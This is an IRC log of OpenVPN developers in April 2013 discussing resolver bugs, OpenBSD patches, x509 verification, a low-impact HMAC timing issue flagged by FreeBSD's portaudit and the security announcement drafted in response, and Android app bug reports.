yoru manpages are more complete here 01:34 <+pekster> Anyway, that makes sense since I *think* the logic with the hints at socket.c:156 mean to try it as an IP and fall back to a name 01:35 < madroach> pekster: But linux behaviour is according to rfc3493. 01:35 < madroach> so OpenBSD is wrong here. 01:38 <+pekster> I guess the question is then should openvpn work around the broken behaviour? Seems your reference of operation is quite right by that RFC (6.1 it looks like.) I'll run a quick check on the bugtracker, but this may not have been reported before 01:39 < madroach> pekster: Maybe make the code a bit more clear by doing 01:40 < madroach> (!(flags & GETADDR_RESOLVE) || !(status == EAI_NONAME)) 01:40 < madroach> although this would be even stricter on the resolver implementation. 01:41 <+pekster> The issue with that is it won't properly error out when it should for other resolver errors that should be considered fatal 01:42 <+pekster> Hmm, nvm, I didn't read that carefully enough 01:45 < madroach> pekster: You don't need to work around that. 01:45 < madroach> I'll try to get a patch committed into the openbsd resolver. Until then we can patch our OpenVPN in our ports tree. 01:45 <+pekster> Right, I see what you're doing by catching any other error besides just EAI_NONAME there, as that would indicate it's not an IP 01:46 <+pekster> Yup, just gunna go there :) 01:46 < madroach> pekster: At the moment we have quite a few patches for OpenVPN in our ports tree. Are you interested in committin them to your repo? 01:47 <+pekster> We already have enough #ifdef'd code for legit reasons to support platform nuances, it seems odd to do that for an upstream bug in the resolver. I suppose it could be adjusted that way in openvpn upstream as you suggest, but it also muddies the "correct" interpetation of the resolver now that I look through the error logic 01:48 < madroach> ok, no that's not what I just suggested. 01:48 <+pekster> The ML is the best place to send ready patches for consideration into the openvpn testing and master branches 01:48 < madroach> For example you OpenBSD code in resolver.c is out of date. 01:49 <+pekster> Right, I like your idea of fixing OpenBSD's bugs by a distro-centric patch. I think that's the best place for that kind of thing 01:49 < madroach> oh, no, route.c I meant. 01:49 <+pekster> If it's intended operation of the system, ideally yes, that should get fixed/updated 01:50 < madroach> ok. So I'll send them to the mailing list. 01:50 <+pekster> The ML is the proper path for ready-for-consideration patches to make their way through discussion, approval, and if approved, into git testing & master branches 01:50 <+pekster> You can drop in here if you'd like pointers or to discuss stuff ahead of time if you'd like too 01:52 <+pekster> easiest is to just git format-patch each set up with a nice description of the intent (since they're applied eventually via git anyway, it's easier to look at and apply them that way) 01:55 < madroach> ok 01:57 <+pekster> FYI, doesn't look like a bug has been reported at the tracker: https://community.openvpn.net/openvpn/report 01:57 <@vpnHelper> Title: Available Reports – OpenVPN Community (at community.openvpn.net) 01:58 <+pekster> Although it's more of a bug in OpenBSD that happens to break openvpn :\ 02:00 <+pekster> Thanks for taking the time to stop in. It's alawys nice to see movement to push fixes upstream where appropriate, and it's also refreshing to have someone come in with rfc citations ready to make it easier to track down 02:04 < madroach> You're welcome :) 02:21 <@d12fk> plaisthos: about issue 155 02:21 <@d12fk> re btw =) 02:29 <@d12fk> fromthe log: CN=pfSense_Server_Certificate, must be pfSense Server Certificate 02:30 <@d12fk> while using tls-remote that is 02:30 <@d12fk> do still do underscore magic in some way? 02:32 < syzzer> just had a look at the log too, it really looks like the x509 subject rewriting stuff 02:34 <@d12fk> verify_x509_type = 259 02:36 <@cron2_> madroach: I'm wondering why OpenBSD has so many patches for OpenVPN - 2.3.1 builds, compiles and works with no extra patches on OpenBSD for me (one of my buildslaves is OpenBSD)...?! 02:37 -!- cron2_ is now known as cron2 02:43 <@d12fk> #define TLS_REMOTE_SUBJECT_RDN_PREFIX 3 + 0x100 02:44 < madroach> cron2: add support for routing domains and adding routes in the OpenBSD,subnet case in tun.c:do_ifconfig. 02:44 <@cron2> routing domains = multiple routing table stuff? 02:45 <@cron2> "topology subnet" should work (as of 2.3.0, I fixed that somewhere between 2.2 and 2.3) 02:46 <@cron2> commit 82d4e12068774b0a6ca787ef1345b8a16c460466 02:46 <@cron2> Date: Sun Feb 5 13:35:03 2012 +0100 02:46 <@cron2> Platform cleanup for OpenBSD 02:46 <@cron2> Add correct ifconfig calls for "topology subnet". 02:47 <@d12fk> plaisthos: can ask for the config part where tls-remote ist defined 02:47 <@d12fk> seems the use configured without underscores 02:47 <@cron2> madroach: but anyway, please by all means send all the patches you have, and then we can look at them and say "this we already have!" and "yes, thanks :-)"... 02:48 < madroach> cron2: hmm, I'm not the maintainer of those patches. Could you have a look at ftp://gmerlin.de/pub/openvpn/patches/patch-src_openvpn_tun_c 02:48 <@d12fk> plaisthos: or maybe there's some leftovers in the app that does the magic 02:48 < madroach> cron2: would be happy to remove them. 02:48 <@cron2> madroach: which OpenVPN version is your port based on? 02:50 < madroach> cron2: 2.3.1 02:52 <@cron2> the patch is... interesting. The if (tt->topology == TOP_SUBNET) is already in the code, so it mainly adds a dead branch. 02:53 <@cron2> the "add a network route" bit we don't have yet, but I'm not sure why it is working for me even without that. Need to check 02:57 < madroach> ok. I see, the first part really is a dead branch. I guess it was added by updating the patches without looking at the broader context. 03:02 <@cron2> have put it on my TODO list, might find time tonight (not promising anything) 03:25 < madroach> The OpenBSD bug is fixed :) 03:26 <@cron2> heh :) 03:41 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 03:41 -!- mode/#openvpn-devel [+o dazo] by ChanServ 03:57 <@plaisthos> d12fk: sure, will do 03:59 <@plaisthos> d12fk: did something change in handling " "? 04:25 <@plaisthos> d12fk: This may actually be a false positive since PF Sense added the inline configuration export for my app 04:25 <@plaisthos> so it may expect 2.3.0 behaviour 05:14 -!- MacGyver [~MacGyver@unaffiliated/macgyvernl] has joined #openvpn-devel 05:16 < MacGyver> plaisthos: You said the other day that your openvpn-branch contains another implementation for the parts affected by bug 276, and woul likely not have that defect - is this implementation public somewhere? 05:16 < MacGyver> Uh. Parts causing bug 276, obviously. 05:23 <@d12fk> plaisthos: yes that may be 05:23 <@d12fk> so, they should use x509-verify and not add the _ back in 05:24 <@d12fk> uhm verify-x509-name 05:24 <@d12fk> you get the idea =) 05:38 -!- jgeboski- [~jgeboski@unaffiliated/jgeboski] has joined #openvpn-devel 05:39 -!- Netsplit *.net <-> *.split quits: +krzee, jgeboski 05:39 -!- jgeboski- is now known as jgeboski 05:42 <@plaisthos> MacGyver: yes, sure 05:43 <@plaisthos> MacGyver: https://github.com/schwabe/openvpn 05:43 <@vpnHelper> Title: schwabe/openvpn · GitHub (at github.com) 05:43 <@plaisthos> the android_2.3rc1+ds branch 05:44 < MacGyver> Ah, I was looking at github.com/plaisthos 05:44 -!- Netsplit over, joins: +krzee 05:44 < MacGyver> Thanks. 06:06 <@plaisthos> MacGyver: I create a github account, forgot that I had one created another 06:20 <@plaisthos> d12fk: I forgot to remove the tls-remote conversion logic from the UI 06:20 <@plaisthos> d12fk: Next release will not try to convert tls-remote to new style 06:22 <@d12fk> ok --- Log closed Mon Apr 08 06:27:47 2013 --- Log opened Mon Apr 08 07:24:36 2013 07:24 -!- ecrist [~ecrist@freebsd/contributor/openvpn.community.support.ecrist] has joined #openvpn-devel 07:24 -!- Irssi: #openvpn-devel: Total of 21 nicks [8 ops, 0 halfops, 3 voices, 10 normal] 07:24 -!- mode/#openvpn-devel [+o ecrist] by ChanServ 07:24 -!- Irssi: Join to #openvpn-devel was synced in 1 secs 07:31 -!- mattock_afk is now known as mattock 07:42 <@mattock> fun fact: OpenVPN forums currently only allows ten smilies per message: "Your message contains too many smilies. The maximum number of smilies allowed is 10." 07:49 -!- cron2_ [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 07:50 -!- mode/#openvpn-devel [+o cron2_] by ChanServ 07:51 <@ecrist> heh 07:51 <@ecrist> you must be a happy guy, mattock 07:51 -!- cron2 [~gert@openvpn/community/developer/cron2] has quit [Read error: Connection reset by peer] 07:53 <@ecrist> mattock: I've set to unlimited 07:54 < MacGyver> And so it begins... 07:54 <@ecrist> heh 07:55 <@ecrist> https://forums.openvpn.net/topic12625.html 07:55 <@vpnHelper> Title: OpenVPN Support Forum LOL : Off Topic, Related (at forums.openvpn.net) 07:57 <@mattock> ecrist: actually, I had to respond to a PM from a guy, who was _really_ happy about the OpenVPN T-shirt that just arrived 07:57 <@mattock> one got lost in transit 07:57 <@mattock> second one got there 07:58 <@ecrist> heh 07:59 <@mattock> I wonder what use-case this "Limit number of smilies to <n>" serves? 07:59 <@mattock> perhaps people are overusing them? :P 07:59 <@ecrist> not sure, 10 was the default 08:07 -!- cron2_ [~gert@openvpn/community/developer/cron2] has quit [Read error: Connection reset by peer] 08:13 -!- cron2 [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 08:13 -!- mode/#openvpn-devel [+o cron2] by ChanServ 08:35 <@cron2> oh my 08:35 <@cron2> FreeBSD has declared the HMAC compare thingie a "security vulnerability" 08:36 <@cron2> as in pkg_audit complains about and scares people 08:37 <@plaisthos> hmac compre? 08:38 <@plaisthos> did I miss something? 08:38 <@cron2> look into git log of 2.3.1 :) 08:38 <@plaisthos> cron2: oh that 08:38 <@plaisthos> almost forgot about that 08:38 <@plaisthos> :/ 08:42 < MacGyver> Wait what? 08:42 < MacGyver> cron2: The *new* HMAC comparison? 08:42 < MacGyver> cron2: Or the óld one? 08:43 <@cron2> no, the old one, they are flaggin 2.3.0_3 as "vulnerable" - which it technically is 08:43 < MacGyver> Ah, no, okay. 08:43 <@cron2> but I find this too much excitement, distracting from "more realistically exploitable vulns" 08:44 < MacGyver> Somewhat makes sense - a theoretical vulnerability is still a vulnerability. 08:44 < MacGyver> But yeah, a bit of distinction would be nice. 08:55 <@plaisthos> yeah 08:56 <@plaisthos> but hmac stuff is more like "Not having a constant timing might or might not be a cryptographic side channel leak that could help cracking the encryption (like lucky 13) but using constant time is a no brainer here so we just do it" 08:57 <@cron2> that, yes 09:05 * plaisthos just decided again pushing a new version of the tls-cipher fix 09:05 <@plaisthos> people can you fix their stupid broke configurations 09:05 <@plaisthos> s/you/just/ 09:25 <@plaisthos> cron2: did they also flag openvpn2 as vunerable? 09:25 <@cron2> "<2.3.1", if I remember right - so "yes" 09:28 -!- mattock is now known as mattock_afk 09:30 -!- mattock_afk is now known as mattock 09:39 <@dazo> cron2: any chance to make FreeBSD lower their panic mode? 09:42 <@ecrist> no 09:44 <@dazo> ecrist: as in "not possible" or as in "they are not interested"? 09:50 <@ecrist> I doubt they're interested. I know the security guy, though, I'll talk to him. 09:52 <@dazo> ecrist: thx! That "issue" is purely academic ... it's really a hard nut to crack, if it really is realistic to make use of this "weakness" in real life 09:52 <@ecrist> it's just port audit that marked it, right? 09:52 <@dazo> cron2: ^^ 10:05 <@ecrist> dazo - see PM 10:06 <@dazo> ecrist: okay ... let's point that one to mattock ... and I'm sure andj/syzzer and cron2 will be helpful resources for mattock 10:07 * dazo can also contribute a bit to that discussion 10:07 * dazo sends an e-mail 10:08 < syzzer> I'm happy to help where possible 10:14 <@ecrist> once we have the official post to the site, I'll submit the PR and get try to get it removed. 10:14 <@ecrist> I'll go through the official channels first, otherwise one of my close friends of 18 years had full commit perms, and he's on the security team. 10:14 <@ecrist> I try to not pull strings unless I have to 10:18 -!- raidz_away is now known as raidz 10:18 <@dazo> mail should be on the way 10:20 <@ecrist> Here's the link to the portaudit entry: http://portaudit.freebsd.org/92f30415-9935-11e2-ad4c-080027ef73ec.html 10:20 <@vpnHelper> Title: portaudit: OpenVPN -- potential side-channel/timing attack when comparing HMACsportaudit: OpenVPN -- potential side-channel/timing attack when comparing HMACs (at portaudit.freebsd.org) 10:20 <@ecrist> I meant to include that in my reply just now, but failed. 10:46 <@mattock> me got email? 10:51 <@plaisthos> alias yolo = 'git commit -am "DEAL WITH IT" && git push -f origin master' 10:51 <@plaisthos> *ducks* 11:01 <@mattock> I'll skim through my mails about the side-channel attack and hack together something 11:02 <@mattock> James, Steffan et al can then make sure everything is correct 11:02 <@ecrist> lol 11:44 <@cron2> mattock, ecrist: thanks 11:54 <@mattock> here's a partially finished version: https://community.openvpn.net/openvpn/wiki/SecurityAnnouncement-f375aa67cc 11:54 <@vpnHelper> Title: SecurityAnnouncement-f375aa67cc – OpenVPN Community (at community.openvpn.net) 11:54 <@mattock> it still lacks complete exploit description 12:04 <@dazo> mattock: I think we should be careful about the "Requirements" section ... we don't need to give anyone the recipe on where to get started ;-) 12:07 <@ecrist> :) 12:10 <@dazo> I would state somewhere that "This is a non-trivial attack vector, as you need to learn a lot about the remote site before you can start mounting an attack. Thus this is considered a low security issue. For all practical purposes, an attacker will most likely find a social engineering attack far more efficient." 12:12 <@dazo> It might not be 100% statement from a security, but it should at least remove the nagging feeling that openvpn is completely insecure without this fix 12:12 <@dazo> from a security perspective, I meant 12:15 <@cron2> +1 12:23 <@dazo> Maybe even add that "This attack vector is most likely more interesting from an academic point of view than being practical for a real attack" ... but that can be a rather bold statement, I'd like syzzer or andj to agree to that first before having that as a public opinion :) 12:23 <@cron2> syzzer just commented by mail 12:24 <@dazo> "just" ~~ 2 hours ago? 12:24 <@dazo> or 1,5 12:25 <@cron2> yes :) - just came home, didn't see the mail before leaving, assumed it was recent 12:25 <@dazo> ahh, good :) I thought I had missed something :) 13:13 < syzzer> c 13:15 < syzzer> woops, accidently hit my return key. going to read mattocks wiki article now 13:19 < syzzer> in alinea 2, 'arbitrary plaintext' should be 'arbitrary ciphertext'. In case of a null-cipher, that obviously is the same as plaintext :) 13:21 < syzzer> being able to inject arbitrary ciphertext only makes it very hard to inject valid openvpn packets 13:43 < MacGyver> I might be biased since I'm finishing up a master's degree where this is part of the basic curriculum, but... Even saying "Potential timing-based side-channel attack due to HMAC comparisons" is enough information to get most attackers who use side-channels started. 13:45 < MacGyver> (By which I mean that "being careful with the "Requirements" section won't really do anything, rather than putting even less info in.) 13:48 <+pekster> I'd generally agree; the commit isn't that hard to read for anyone who would be attempting to take advantage of the vulnerability. That said, it is an awfuly specific and limited attack vector. It's great that it's been fixed, but I wouldn't loose sleep over a system that (for whatever reason) couldn't be immediately upgraded 13:50 <+krzee> what if a server is upgraded but the clients remain older? 13:51 <+krzee> sounds like that wouldnt matter since the attack is against the server, but can the attack be against the client too? 13:51 <@ecrist> that's why I'm getting it pulled from the portaudit database, pekster 13:52 <+pekster> The HMAC works both directions, so yes, one could krzee. It's really a silly attack though 13:52 <+pekster> All it "gives" an attacker is the ability to drop cihpertext into the stream. It might be a DoS vector, but so would simply DoSing the host to begin with (without needing an openvpn "vulnerability" to do so) 13:52 <+krzee> does this only affect the HMAC (layer7 dos protection) or the general crypto as well? 13:54 <+krzee> all that work to only get past hmac is silly indeed, but if they can break the actual crypto then i see it as bigger 14:01 < syzzer> well, as soon as you pass the hmac you can start with attacking the encryption (or in case of a null-cipher, just inject arbitrary plaintext) 14:03 <+pekster> It's another layer of the onion. krzee, no, this is the HMAC attached to each packet, not the --tls-auth deal 14:04 <+krzee> ok cool, i agree its not *THAT* big of a deal =] 14:05 <+pekster> It's still importnat to get fixed, but by itself it's not enoguh to "break" the crypto. Combined with a 0-day against a cipher (BF would be extra bad as the default) it could be much worse 14:05 <+krzee> as i understand it hmac shouldnt be thought of as encryption anyways 14:05 <+krzee> oh definitely, im glad it was found and fixed 14:05 <+krzee> a big o/ to whoever found it 14:05 < syzzer> krzee: hmac is not encryption, its authentication 14:06 < syzzer> good crypto does both ;) 14:06 <+krzee> syzzer, dazo told me its really just layer7 dos protection and to not consider it as much more 14:06 <+krzee> (irrc) 14:08 < syzzer> that's one of the benefits, yes, but it does also add an extra layer of protection against vulnerabilities in encryption algorithms 14:08 < syzzer> such as cbc padding oracle attacks 14:09 < syzzer> s/algorithms/implementations/ 14:10 < syzzer> but indeed, it's still just one layer, and not trivial to exploit 14:11 <+krzee> thanks, i have a feeling i will need to explain this to many people soon =] 15:07 -!- dazo is now known as dazo_afk 16:56 <+pekster> FYI, trac didn't have the 2.3.1 release added as a selection in the Version dropdown, so I just added it 17:28 * pekster mutters about drive-by-bugreports in trac 20:18 -!- madroach [t1b5pt0gsq@stgt-d9be5d25.pool.mediaWays.net] has quit [Ping timeout: 248 seconds] 20:20 -!- raidz is now known as raidz_away 23:23 <+pekster> Looks like bug #240 is real, although I duplicated the bad behaviour on 2.2.2 as well as 2.3.x. Near as I can tell, the command is getting called properly, but for some reason exits status 0. If I run the same command shown in 'Process Explorer' output in a prompt or my own code, it returns 1 (auth-fail.bat script just has "Exit 1" as the only line) 23:26 <+pekster> ie: `cmd /c D:\scripts\return_fail.bat` exits 0 when openvpn calls it, but 1 for me. I think I'll try my hand at a custom Win32 build on a cross-compiler tomorrow. mattock or d12fk, hints on the cross-compile setup appreciated. Ubuntu looks easiest from the wiki? Gentoo has some hard-masked deps, like mingw64-runtime, so I'll prefer whatever you folks use --- Day changed Tue Apr 09 2013 00:16 <@mattock> pekster: the documentation here is up-to-date: https://community.openvpn.net/openvpn/wiki/BuildingUsingGenericBuildsystem 00:16 <@vpnHelper> Title: BuildingUsingGenericBuildsystem – OpenVPN Community (at community.openvpn.net) 00:16 <@mattock> on this page you'll find a shell script you can use on Ubuntu 12.04/12.10 to setup the build computer from zero to ready 00:17 <@mattock> probably works with minor modifcations on Debian also 00:17 <+pekster> mattock: Yup, that's what I'm referencing. I got partway through the git checkout and researching the buildscript, but Gentoo has some issues with the deps :(. Figured I'd double-check with those before me rather than set up another lemon ;) 00:18 <+pekster> Thanks, hopefully it'll go smoothly tomorrow. The changes I want are small, but it's a good excuse to stop putting off doing W32 builds for future trouble-shooting 00:42 -!- mattock is now known as mattock_afk 00:49 -!- mattock_afk is now known as mattock 01:49 -!- mattock is now known as mattock_afk 01:51 -!- dazo_afk is now known as dazo 03:48 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Remote host closed the connection] 03:59 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 03:59 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 06:23 -!- dazo is now known as dazo_afk 06:39 -!- dazo_afk is now known as dazo 06:46 <+novaflash> plaisthos, you around? 06:46 <@plaisthos> novaflash: yes 06:46 <+novaflash> you developed the openvpn for android app right? not the openvpn connect - but the open source version that was first 06:47 <+novaflash> i've got a guy in #openvpn-as that is looking for a way to check on the status of the vpn connection in android 4. apparently in 2.3 it was possible to do this in the os itself, but according to him in 4 this has to be done by the app (reporting of status) 06:47 <+novaflash> do you have any pointers? 06:48 <+novaflash> he also quotes http://stackoverflow.com/questions/3461967/get-vpn-connection-status-on-android 06:48 <@vpnHelper> Title: Get VPN Connection status on Android - Stack Overflow (at stackoverflow.com) 06:52 <@plaisthos> novaflash: I don't know of anyway to check this. Which does not mean that they do not exist. My app has an API for doing this but that only helps for checking OpenVPN status 06:52 <+novaflash> i think he only needs to know if openvpn is connected or not 06:53 <+novaflash> anyplace i can point him to get the info he is looking for on that api? 06:55 <@plaisthos> It is only partly in the released version. Best to direct him directly to me 06:55 <+novaflash> oki 06:59 <@dazo> ping vpn_gateway ... fail == no connection :-P 06:59 <+novaflash> dazo: yes but to do that continuously isn't very friendly to the battery 07:00 <@dazo> fair enough ... the battery drain patch adds a 'sleep 600' ;-) 07:01 <+novaflash> amazing savings! buy 2 for the price of 2! 07:01 <@plaisthos> battery drain patch? 07:01 <+novaflash> dazo just invented one 07:01 <@plaisthos> did I miss something? 07:01 <+novaflash> just sleep everything for 10 minutes 07:02 <@plaisthos> :) 07:02 <+novaflash> plaisthos: i told NielsKramer to contact you directly on private chat, i hope he'll be able to manage that 07:02 <@plaisthos> novaflash: he did 07:02 <+novaflash> oh goodie 07:02 <@dazo> plaisthos: oh true .... battery save or battery anti-drain patch would be a better description ;-) 07:02 <+novaflash> battery brain patch 07:02 <@d12fk> const time memcmp is the battery drain patch =) 07:03 <@cron2> that bad? 07:03 <+novaflash> i thought poweroff was the solution 07:03 <@plaisthos> :) 07:04 <@d12fk> cron2: doubt it 07:04 <@d12fk> you can always get a 6.3" cell phone 07:04 <@d12fk> bigger battery 07:05 <+novaflash> oh so that's why the new iphone is bigger 07:05 <+novaflash> just to hide the bigger battery 07:06 <@plaisthos> dazo: so my ebook reader has the smallest display of my mobile devices? :D 07:06 <+novaflash> but the designers took that cue to put in a larger power hungry screen 07:18 <@ecrist> hey folks 07:19 <@ecrist> did we ever complete a write-up on the HMAC issue? 09:39 <+krzee> [07:52] <novaflash> i think he only needs to know if openvpn is connected or not 09:39 <+krzee> novaflash, ifconfig tun0 ? 09:40 <+novaflash> i dunno man 10:15 -!- raidz_away is now known as raidz 11:31 <@plaisthos> Strange bug reports http://code.google.com/p/ics-openvpn/issues/detail?id=158 11:31 <@vpnHelper> Title: Issue 158 - ics-openvpn - Scan local ports to find correct ports of firewall - Openvpn for Android 4.0+ - Google Project Hosting (at code.google.com) 11:32 <@plaisthos> I am not even sure what this guy tries to achieve 11:35 <+pekster> "many firewalls only work with [local] ports below 1024" ? Wow... 11:37 <@plaisthos> aside from the fact that my app does not even support local binding to ports < 1024 11:38 <@plaisthos> And I don't think that I will ever implement that 12:35 < MacGyver> What he means to say is "Many firewalls only work with ports for known protocols. 12:35 < MacGyver> At least, that's what my psychic abilities are telling me. 12:36 < MacGyver> In other words, he's just trying to punch a hole through a firewall doing outward connection blocking. 12:37 < MacGyver> I don't think we'd *want* to support firewall holepunching. 12:37 <+pekster> Most modern client/server protocols dynamically allocate source ports anyway 12:37 < MacGyver> s/we'd/you'd/ 12:37 < MacGyver> Corporate firewalls tend to disallow new-fangled protocols. 12:37 <+pekster> Web browsers? ;) 12:38 < MacGyver> "If you can't throw it through the SOCKS-proxy it ain't worth havin'!" 12:38 <+pekster> (yes, proxies, etc. Still sourced from the *client* dynamically though) 12:38 <+pekster> It's a silly request. If that person needs such a tool, it should be a separate android tool for that purpose 12:38 < MacGyver> Yeah, so I think what he means by "local ports" is actually "see which source ports my corporate firewall will allow". 12:38 < MacGyver> It is. 12:38 < MacGyver> I'm not arguing *for* it. 12:40 < MacGyver> Oh, he's asking for two things, I see. 12:40 * MacGyver scrolled down a little. 12:41 < MacGyver> He's asking for firewall hole punching / proxy allowance detection, *and* for walled-garden-bypass. 12:41 < MacGyver> (The second thing exists, you probably know it or even helped build it; iodine tends to do a decent job.) 12:43 < MacGyver> You'll notice that the port he mentions, 53, is in fact the allocated port for DNS traffic. 12:43 < MacGyver> Which most implementations of walled gardens tend to allow (i.e. the DNS traffic, not *all* UDP traffic on 53), because they need to allow that to function. 12:45 < MacGyver> To be honest I'd just mark this as invalid. 12:45 <+pekster> I saw only the original. Still silly. That "trick" works on badly run firewalls anyway. Smart firewall admins don't blindly allow 53 outbound and either handle DNS themselves or open it only for the listed DNS server 12:45 <+pekster> For hotspots anyway where you need to login or pay 12:45 * pekster shrugs. Yup. Much ado about very little 12:47 < MacGyver> To be honest I don't think droidvpn is even "trying port combinations" - the iodine-trick works reliably enough to simply try to use 53 as source port if the first connection fails and be done with it. 12:52 <@plaisthos> I will probably close the bug sooner or later 12:53 < MacGyver> You can also simply resolve it by saying "google iodine" ;) 12:56 <+krzee> openvpn over iodine is horrendous 12:57 <+krzee> i wouldnt do it again or suggest it to anyone, mtu of ip over dns is rather terrible, tunneling yet again over that is ugly 13:03 < MacGyver> You wouldn't necessarily need openvpn. 13:03 < MacGyver> iodine can do encryption and auth, iirc. 13:04 < MacGyver> Then again... 13:04 < MacGyver> I wouldn't put it past this person to set that up, so yeah. 13:05 <+krzee> iodine doesnt do encryption unless it's relatively new 13:05 < MacGyver> Oh, hey, you're right. 13:05 < MacGyver> Don't know where I got that idea then. 13:06 <+krzee> its kinda obfuscated, but not secured 13:08 <+pekster> Like any of the other traffic obfuscation/tunneling/proxying proposals received recently, this should be a plugin if it's to integrate at all with openvpn. THe last thing we want is --bypass-crappy-hotspots or --iodine options 13:08 <+pekster> They're not awful ideas, just shouldn't be managed by openvpn directly 13:10 <@plaisthos> "I know this works because right now I am on my cellphone without internet plan and using my VPN with openvpn for Android and port UDP 9200. " 13:11 < MacGyver> Well to be honest... though I've used iodine in the past, the *only* usecase for tunneling over DNS I know of is to bypass walled gardens. I don't know if you guys want to spend time on basically re-implementing iodine in / as plugin for OpenVPN just so some people can avoid paying for a hotspot, but I think there are better things to work on. 13:18 <@plaisthos> probably 13:19 <@plaisthos> most professional hotspot I have seen also have a traffic shaping on dns 13:19 <@plaisthos> so enjoy your 16 kBit/s 13:51 <@cron2> oh, well, if all I need is "ssh $work, reattach screen with mutt and irc, see what happend", 16 kbit/s is fine for me :-) and way better than paying $10 for an hour (like some airports charge) 14:50 -!- dazo is now known as dazo_afk 16:33 -!- Netsplit *.net <-> *.split quits: @raidz 16:33 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 16:33 -!- mode/#openvpn-devel [+o raidz] by ChanServ 17:11 -!- kisom [~kisom@130.237.41.249] has joined #openvpn-devel 19:36 -!- raidz is now known as raidz_away --- Day changed Wed Apr 10 2013 01:30 -!- mattock_afk is now known as mattock 02:10 < syzzer> mattock: have you seen my remark on the memcmp announcement? 02:11 < syzzer> 'arbitrary plaintext' should be 'arbitrary ciphertext' 02:39 <@mattock> ok 02:40 <@mattock> fixed 02:41 <@mattock> syzzer: which remark? 02:42 < syzzer> on the same plaintext/ciphertext thingy, shortly after you posted the link to the announcement in this channel 02:42 <@mattock> ah, no 02:42 <@mattock> so otherwise the announcement is ok? 02:43 < syzzer> yes, although we did not verify that the padding oracle attack is viable with openssl 02:43 <@mattock> ok, I'll add a notion of that 02:47 <@mattock> done 02:47 <@mattock> hopefully that's enough for FreeBSD to lower their panic level 02:48 < syzzer> okay, looks good to me 02:49 <@mattock> great! 02:49 <@mattock> ecrist: here's the security announcement: https://community.openvpn.net/openvpn/wiki/SecurityAnnouncement-f375aa67cc 02:49 <@vpnHelper> Title: SecurityAnnouncement-f375aa67cc – OpenVPN Community (at community.openvpn.net) 02:50 <@andj> Hi, just popping in real quick (it's a little busy :( 02:50 <@mattock> hi andj! 02:50 <@andj> I think we should look at procedures surrounding future security releases, however minor 02:51 <@andj> Maybe always get a CVE entry, and always have a security announcement, including threat and impact 02:52 <@andj> That makes handling the issue much easier for downstream 02:53 <@andj> maybe a community meeting might be a good idea soon :) 02:53 <@mattock> yes, agreed 02:53 <@cron2> +1 02:53 <@cron2> tomorrow? 02:54 <@mattock> that should be doable, yes 02:54 <@andj> not just about that, but about future direction as well. OpenVPN 3.0, security vulnerabilities, 2.4 seem to be the likely candidates 02:54 <@mattock> we should restart weekly/biweekly meetings anyways 02:54 <@mattock> I'll setup an agenda 02:54 <@andj> tomorrow's ok for me, what time? 02:54 <@mattock> same as always, 18:00 UTC? 02:54 < syzzer> +1, tomorrow is ok for me too 02:55 <@mattock> I got a company meeting at 17:00 UTC, gives me a good excuse to keep it tight :P 02:55 <@mattock> last meeting was 29th Nov 2012 02:55 <@mattock> previous I mean 02:56 <@cron2> 1800 UTC is 2000 MEDT? 02:56 <@andj> I think so, no summer time for UTC :) 02:57 <@cron2> there is no summer in england 02:57 <@andj> I can't come at 20:00, 19:00 was ok :( 02:57 <@mattock> ugh, how about others? 02:58 <@cron2> 1900 is actually not ideal for me, $daughter[0] is usually in bed at 19:20-19:30... 02:58 <@cron2> so 2000 is perfect 02:58 <@andj> It's just tommorrow that is a problem there, usually it's fine 02:58 <@mattock> hmm, how about next week? none of the issues are exactly urgent? 02:58 <@andj> Next week is fine 02:59 <@mattock> ok, I'll setup the agenda anyways and send the announcement 02:59 <@cron2> fine for me, too. I think. 02:59 <@andj> thanks! looking forward to it 02:59 < syzzer> for me too 02:59 * andj dives back into other work 03:09 -!- dazo_afk is now known as dazo 03:14 <@plaisthos> Should we also do an issue for the server crashes client double push? 03:15 <@mattock> plaisthos: so an authenticated client can crash the server? 03:15 <@plaisthos> other way round 03:17 <@mattock> hmm, I wonder... probably not, if you mean a security notification 03:23 <@mattock> https://community.openvpn.net/openvpn/wiki/Topics-2013-04-18 03:23 <@vpnHelper> Title: Topics-2013-04-18 – OpenVPN Community (at community.openvpn.net) 03:23 <@mattock> let me know if we need to add something - I'll send the announcement soonish 04:37 <@cron2> wtf 04:37 <@cron2> Wed Apr 10 11:35:40 2013 us=729951 TLS Error: TLS object -> incoming plaintext read error 04:37 <@cron2> if I get this in a client log, after it has successfully verified the server certificate... what do I want to look for??? 04:42 <@andj> hmm, DH? 04:43 <@andj> Joachim mentioned bad negotiation for TLS version 04:43 <@cron2> there is another one, which I've never seen before... 04:43 <@cron2> WRWed Apr 10 11:43:24 2013 us=876044 TLS Error: Unroutable control packet received from [AF_INET]193.149.36.253:1195 (si=3 op=P_CONTROL_V1) 04:44 <@cron2> this is a 2.3_alpha3+polar1.1 client trying to talk to a 2.3.1 server 04:44 <@cron2> we have the data cipher set ("aes-128-cbc"), but it's not reaching that stage 04:45 <@andj> might be the TLS version 1.2 support that was borked in Polar 1.1 04:46 <@andj> and works in part of 1.2, not entirely sure 04:47 <@cron2> is there a switch to downgrade openvpn? 04:48 < syzzer> no, its negotiated 04:48 < syzzer> I don't immediately see where these errors are coming from 04:52 <@cron2> ok, the "Unroutable control packet" is if the client restarts and tries to use the (non-working) ssl context. On the first connect, it will show the VERIFY OK messages, and then the "incoming plaintext read error", which does hint at negotiation failures... 04:52 <@cron2> well, "negotiating something that is not working" 04:58 <@cron2> ... anyway. Thanks for looking at this, and we've decided to abandon that and use openssl-based for now (that's on openwrt, and they have not yet integrated the 2.3.1 version with polar 1.2 support) 06:49 <@mattock> Dilbert's Salary Theorem: https://fbcdn-sphotos-f-a.akamaihd.net/hphotos-ak-snc6/6606_325229210932327_2102374735_n.jpg 07:00 <@dazo> hahahaha! good one! 07:00 < syzzer> lol 07:03 <@plaisthos> To add to android OpenVPN versions it looks like OpenVPN Settings is getting support Android 4+ too .... 07:03 <@plaisthos> http://code.google.com/p/android-openvpn-settings/source/detail?r=911c641d938c446c113ee6e0ae0735b63cf49f09 07:03 <@vpnHelper> Title: 911c641d938c - android-openvpn-settings - Manage OpenVPN on rooted android phones. - Google Project Hosting (at 